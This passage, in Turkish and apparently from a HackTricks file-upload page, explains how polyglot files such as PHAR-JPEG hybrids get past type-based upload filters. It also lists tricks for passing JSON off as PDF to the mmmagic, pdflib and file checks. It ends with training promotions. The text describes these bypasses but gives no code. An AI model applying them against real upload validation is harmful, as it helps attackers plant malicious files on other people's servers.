Polyglot dosyaların temel faydası, dosyaları tipe göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Yaygın uygulama pratikleri, potansiyel olarak zararlı formatlar (ör. JS, PHP veya Phar dosyaları) riski nedeniyle yalnızca JPEG, GIF veya DOC gibi belirli dosya tiplerinin yüklenmesine izin vermeyi içerir. Ancak bir polyglot, birden fazla dosya tipinin yapısal kriterlerine uyum sağlayarak bu kısıtlamaları sinsi şekilde atlatabilir.

Uyarlanabilirliklerine rağmen, polyglotların sınırlamaları da vardır. Örneğin bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilir, ancak bunun yüklemesinin başarılı olup olmaması platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, bir polyglot’un yalnızca yapısal çokluğunun yüklemeyi garantilemesi yeterli olmayabilir.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDF gibi göstererek geçerli JSON’ları yükleme

Bir PDF dosyası taklidi yaparak izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler bu blog yazısı kaynaklı):

  • mmmagic library: İlk 1024 byte içinde %PDF magic byte’ları bulunduğu sürece geçerli sayılır (örnek için yazıya bakın)
  • pdflib library: JSON içindeki bir alana sahte bir PDF formatı ekleyin ki kütüphane bunun bir PDF olduğunu düşünsün (örnek için yazıya bakın)
  • file binary: Bir dosyadan 1048576 byte’a kadar okuyabilir. İçeriği JSON olarak parse edemeyeceği için daha büyük bir JSON oluşturun; ardından JSON içine gerçek bir PDF’in başlangıç kısmını koyun, kütüphane bunu PDF zannedecektir

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin